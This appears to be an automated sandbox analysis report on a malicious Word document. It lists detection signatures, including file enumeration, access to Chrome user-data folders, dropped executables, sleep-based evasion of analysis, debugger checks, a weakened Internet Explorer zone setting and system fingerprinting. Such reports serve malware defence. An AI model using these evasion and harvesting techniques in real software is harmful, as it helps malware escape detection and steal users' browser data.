Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Code function: 0_2_031596C8 FindFirstFileA,FindClose,	0_2_031596C8
Source: C:\Windows\explorer.exe	Code function: 1_2_003E96C8 FindFirstFileA,FindClose,	1_2_003E96C8
Source: C:\Windows\explorer.exe	Code function: 1_2_100068C0 FindFirstFileA,lstrcmpiA,lstrcmpiA,StrStrIA,FindNextFileA,FindClose,	1_2_100068C0
Source: C:\Windows\explorer.exe	Code function: 1_2_10004DF4 FindFirstFileA,lstrcmpiA,lstrcmpiA,FindNextFileA,FindClose,	1_2_10004DF4
Source: C:\Windows\explorer.exe	Code function: 1_2_10007241 FindFirstFileA,lstrcmpiA,lstrcmpiA,StrStrIA,StrStrIA,lstrlenA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,FindNextFileA,FindClose,	1_2_10007241
Source: C:\Windows\explorer.exe	Code function: 1_2_10004A84 FindFirstFileA,lstrcmpiA,lstrcmpiA,StrStrIA,StrStrIA,FindNextFileA,FindClose,	1_2_10004A84
Source: C:\Windows\explorer.exe	Code function: 1_2_1000419E FindFirstFileA,lstrcmpiA,lstrcmpiA,StrStrIA,FindNextFileA,FindClose,	1_2_1000419E
Source: C:\Windows\explorer.exe	Code function: 1_2_1000673C FindFirstFileA,lstrcmpiA,lstrcmpiA,StrStrIA,FindNextFileA,FindClose,	1_2_1000673C
Source: C:\Windows\System32\cmd.exe	Code function: 3_2_012496C8 FindFirstFileA,FindClose,	3_2_012496C8
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_012796C8 FindFirstFileA,FindClose,	5_2_012796C8
Source: C:\Windows\System32\dwm.exe	Code function: 10_2_003896C8 FindFirstFileA,FindClose,	10_2_003896C8
Source: C:\Windows\explorer.exe	Code function: 11_2_00D496C8 FindFirstFileA,FindClose,	11_2_00D496C8
Source: C:\Windows\System32\conhost.exe	Code function: 13_2_001096C8 FindFirstFileA,FindClose,	13_2_001096C8

Contains functionality to query system information

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_03158E7D GetSystemInfo,GetVersionExA,StrToIntA,

0_2_03158E7D

Queries a list of all running processes

Show sources

Source: C:\Windows\explorer.exe

Process information queried: ProcessInformation

Checks the free space of harddrives

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

File Volume queried: C:\Windows\System32 FullSizeInformation

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_03159B04 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_03159B04

Contains long sleeps (>= 3 min)

Show sources

Source: C:\Windows\explorer.exe

Thread delayed: delay time: -5000

Enumerates the file system

Show sources

Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Caps\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Default\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Default\Extensions\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Default\databases\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\Default\Cache\
Source: C:\Windows\explorer.exe	File opened: C:\Users\mattbrown\AppData\Local\Google\Chrome\User Data\

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Show sources

Source: C:\Windows\explorer.exe

Window / User API: threadDelayed 570

Found dropped PE file which has not been started or loaded

Show sources

Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Dropped PE file which has not been started: C:\Users\mattbrown\AppData\Local\YesoYleyn\RebRonr.exe
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp

Found evasive API chain (may stop execution after accessing registry keys)

Show sources

Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp

Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess

graph_5-19080

Found large amount of non-executed APIs

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	API coverage: 6.9 %
Source: C:\Windows\System32\cmd.exe	API coverage: 5.6 %
Source: C:\Windows\System32\dwm.exe	API coverage: 6.1 %
Source: C:\Windows\explorer.exe	API coverage: 8.1 %
Source: C:\Windows\System32\conhost.exe	API coverage: 5.4 %

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Windows\explorer.exe TID: 2376	Thread sleep time: -50000s >= -60s
Source: C:\Windows\explorer.exe TID: 1600	Thread sleep time: -660000s >= -60s
Source: C:\Windows\explorer.exe TID: 1948	Thread sleep count: 218 > 30
Source: C:\Windows\explorer.exe TID: 1948	Thread sleep time: -436000s >= -60s
Source: C:\Windows\explorer.exe TID: 1948	Thread sleep time: -2000s >= -60s
Source: C:\Windows\explorer.exe TID: 2376	Thread sleep time: -60000s >= -60s
Source: C:\Windows\explorer.exe TID: 320	Thread sleep count: 570 > 30
Source: C:\Windows\explorer.exe TID: 3000	Thread sleep count: 219 > 30
Source: C:\Windows\explorer.exe TID: 3000	Thread sleep time: -438000s >= -60s
Source: C:\Windows\explorer.exe TID: 3784	Thread sleep time: -60000s >= -60s
Source: C:\Windows\explorer.exe TID: 3000	Thread sleep time: -2000s >= -60s
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 2916	Thread sleep time: -1000s >= -60s
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 2336	Thread sleep time: -240000s >= -60s
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 3444	Thread sleep time: -420000s >= -60s
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 3444	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\wbem\WmiApSrv.exe TID: 2860	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -2688s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -2406s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 640	Thread sleep time: -2000s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -5126s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 640	Thread sleep time: -1547s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -11032s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -3500s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -2936s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -17626s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -23718s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -2312s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -20062s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -3344s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 2644	Thread sleep time: -6096s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 640	Thread sleep time: -43344s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 640	Thread sleep time: -38797s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 2644	Thread sleep time: -726000s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 2644	Thread sleep time: -8938s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 2644	Thread sleep time: -5748s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 2644	Thread sleep time: -2344s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 2644	Thread sleep time: -5188s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 2644	Thread sleep time: -2594s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 2644	Thread sleep time: -124500s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 640	Thread sleep time: -75812s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 640	Thread sleep time: -121000s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1028	Thread sleep time: -121000s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 2644	Thread sleep time: -121000s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 3192	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 2356	Thread sleep time: -360000s >= -60s
Source: C:\Windows\System32\svchost.exe TID: 1540	Thread sleep time: -14527s >= -60s
Source: C:\Windows\System32\wbem\WmiApSrv.exe TID: 3240	Thread sleep time: -120000s >= -60s
Source: C:\Windows\System32\wbem\WmiApSrv.exe TID: 1288	Thread sleep time: -60000s >= -60s

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\Windows\System32\services.exe	Process information set: NOOPENFILEERRORBOX

Lowering of HIPS / PFW / Operating System Security Settings:

Modifies Internet Explorer zone settings

Show sources

Source: C:\Windows\explorer.exe

Registry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 2500

Language, Device and Operating System Detection:

Contains functionality to query local / system time

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_03158B19 GetSystemTimeAsFileTime,

0_2_03158B19

Contains functionality to query the account / user name

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_03158E08 GetUserNameW,NetUserGetInfo,

0_2_03158E08

Contains functionality to query windows version

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_03158C11 GetVersionExA,

0_2_03158C11

Queries the cryptographic machine GUID

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Contains functionality locales information (e.g. system language)

Show sources

Source: C:\Windows\explorer.exe	Code function: GetVersionExA,GetLocaleInfoA,GetLocaleInfoA,GetModuleHandleA,GetProcAddress,GetSystemInfo,		1_2_100044F3
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: GetLocaleInfoA,		5_1_00411050

Contains functionality to detect query CPU information (cpuid)

Show sources

Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp

Code function: 5_1_0040B9A8 cpuid

5_1_0040B9A8

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Windows\explorer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\explorer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\dwm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\explorer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\conhost.exe	Queries volume information: C:\ VolumeInformation

Behavior Graph

Legend:

Process
Signature
Created File
DNS/IP Info

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Error!

Analysis Report

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Signature Overview

Cryptography:

Spam, unwanted Advertisements and Ransom Demands:

E-Banking Fraud:

Software Vulnerabilities:

Networking:

Boot Survival:

Stealing of Sensitive Information:

Persistence and Installation Behavior:

Data Obfuscation:

Spreading:

System Summary:

HIPS / PFW / Operating System Protection Evasion:

Anti Debugging:

Malware Analysis System Evasion:

Hooking and other Techniques for Hiding and Protection:

Lowering of HIPS / PFW / Operating System Security Settings:

Language, Device and Operating System Detection:

Behavior Graph